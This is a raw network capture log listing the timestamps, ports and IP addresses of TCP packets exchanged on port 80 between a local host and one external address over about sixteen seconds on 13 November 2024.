Nov 13, 2024 10:52:45.027585983 CET	80	49991	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:45.027695894 CET	49991	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:45.027837992 CET	49991	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:45.028214931 CET	49991	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:45.032596111 CET	80	49991	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:45.033027887 CET	80	49991	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:53.502155066 CET	80	49991	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:53.502274036 CET	49991	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:53.502346992 CET	49991	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:53.507162094 CET	80	49991	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.227046013 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.231996059 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.232132912 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.232328892 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.232878923 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.237102985 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.237184048 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.237924099 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.237941980 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.237951994 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.237962008 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.237972021 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.237981081 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.237996101 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.237997055 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.238006115 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.238015890 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.238018036 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.238042116 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.238068104 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.242103100 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.242171049 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.242989063 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.242999077 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.243056059 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.243098021 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.243108034 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.243118048 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.243140936 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.243156910 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.243247986 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.243345022 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.285510063 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.285809040 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.337508917 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.337724924 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.385427952 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.385556936 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.433446884 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.433687925 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.481544971 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.481666088 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.529558897 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.529674053 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.581564903 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.581662893 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.633513927 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.633583069 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.685445070 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.685528040 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.737565994 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.737648964 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.789505959 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.789573908 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.841475010 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.841537952 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.889516115 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.889621973 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.937401056 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.937526941 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:54.985547066 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:54.985635996 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:55.038336039 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:55.038461924 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:55.089607954 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:55.089818001 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:55.137362957 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:55.137449980 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:55.185391903 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:55.185465097 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:55.233566046 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:55.233763933 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:55.281488895 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:55.281614065 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:55.329468966 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:55.329544067 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:55.381556988 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:55.381623983 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:55.429615974 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:55.429753065 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:55.477597952 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:55.477706909 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:55.525533915 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:55.525614977 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:55.573434114 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:55.573561907 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:55.621594906 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:55.621685982 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:55.677459955 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:55.677567959 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:55.725487947 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:55.725559950 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:55.777553082 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:55.777690887 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:55.829472065 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:55.829603910 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:55.877526045 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:55.877774000 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:55.925498009 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:55.925551891 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:55.973539114 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:55.973592997 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:56.021541119 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:56.021593094 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:56.069480896 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:56.069590092 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:56.117418051 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:56.117660999 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:56.169452906 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:56.169534922 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:56.217442989 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:56.217627048 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:56.265500069 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:56.265836000 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:56.317374945 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:56.317738056 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:56.369534016 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:56.369688988 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:56.417561054 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:56.417673111 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:56.465487957 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:56.465553045 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:56.514029980 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:56.514075041 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:56.565535069 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:56.565593004 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:56.613529921 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:56.613651991 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:56.661660910 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:56.661768913 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:56.709578037 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:56.709652901 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:56.758109093 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:56.758183956 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:56.809473991 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:56.809636116 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:56.858177900 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:56.858290911 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:56.905467987 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:56.905580997 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:56.959331989 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:56.959547043 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:57.009439945 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:57.009650946 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:57.057507992 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:57.057714939 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:57.109541893 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:57.109776020 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:57.157696009 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:57.157896996 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:57.205784082 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:57.206002951 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:57.253516912 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:57.253690958 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:57.305414915 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:57.305509090 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:57.354417086 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:57.354486942 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:57.401827097 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:57.401894093 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:57.449636936 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:57.449724913 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:57.502360106 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:57.502556086 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:57.553622961 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:57.553780079 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:57.601571083 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:57.601638079 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:57.653528929 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:57.653594971 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:57.702864885 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:57.702958107 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:57.749846935 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:57.749910116 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:57.797462940 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:57.797635078 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:57.845446110 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:57.845544100 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:57.893412113 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:57.893517971 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:57.941416025 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:57.941483021 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:57.989465952 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:57.989542007 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:58.037410975 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:58.037539005 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:58.089685917 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:58.089756012 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:58.137644053 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:58.137706041 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:58.185705900 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:58.185774088 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:58.233638048 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:58.233694077 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:58.281461000 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:58.281553984 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:58.333602905 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:58.333772898 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:58.381572962 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:58.381661892 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:58.429517984 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:58.429610014 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:58.477633953 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:58.477716923 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:58.525602102 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:58.525659084 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:58.573492050 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:58.573586941 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:58.621551991 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:58.621678114 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:58.673515081 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:58.673629045 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:58.725478888 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:58.725862026 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:58.773499966 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:58.773597956 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:58.821554899 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:58.821858883 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:58.873406887 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:58.873543978 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:58.921489954 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:58.921555996 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:58.973525047 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:58.973772049 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:59.021500111 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:59.021728039 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:59.069555044 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:59.069664001 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:59.117501020 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:59.117815971 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:59.165580988 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:59.165715933 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:59.217536926 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:59.217647076 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:59.265547991 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:59.265645027 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:59.313462019 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:59.313553095 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:59.361546993 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:59.361720085 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:59.409451008 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:59.409641027 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:59.457463980 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:59.457516909 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:59.505482912 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:59.505590916 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:59.557445049 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:59.557578087 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:59.605403900 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:59.605472088 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:59.653419018 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:59.653498888 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:59.701397896 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:59.701544046 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:59.749521017 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:59.749593019 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:59.797494888 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:59.797555923 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:59.849648952 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:59.849741936 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:59.897454977 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:59.897650003 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:59.945554972 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:59.945637941 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:52:59.993530035 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:52:59.993717909 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:00.045618057 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:00.045743942 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:00.097731113 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:00.097937107 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:00.145565987 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:00.145637035 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:00.193582058 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:00.193769932 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:00.245620012 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:00.245711088 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:00.293529987 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:00.293649912 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:00.341623068 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:00.341741085 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:00.393394947 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:00.393626928 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:00.441620111 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:00.441677094 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:00.493417025 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:00.493477106 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:00.541440964 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:00.541620970 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:00.589370012 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:00.589622021 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:00.637434006 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:00.637567997 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:00.685499907 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:00.685580969 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:00.733589888 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:00.733757973 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:00.785691023 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:00.785770893 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:00.837682962 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:00.837781906 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:00.889483929 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:00.889596939 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:00.937545061 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:00.937666893 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:00.985372066 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:00.985531092 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:01.033477068 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:01.033534050 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:01.085489988 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:01.085542917 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:01.134444952 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:01.134520054 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:01.181757927 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:01.181865931 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:01.229727983 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:01.229809999 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:01.277575970 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:01.277687073 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:01.325370073 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:01.325480938 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:01.373375893 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:01.373491049 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:01.425461054 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:01.425553083 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:01.473414898 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:01.473525047 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:01.521442890 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:01.521537066 CET	50010	80	192.168.2.4	94.158.244.69
Nov 13, 2024 10:53:01.569613934 CET	80	50010	94.158.244.69	192.168.2.4
Nov 13, 2024 10:53:01.569755077 CET	50010	80	192.168.2.4	94.158.244.69
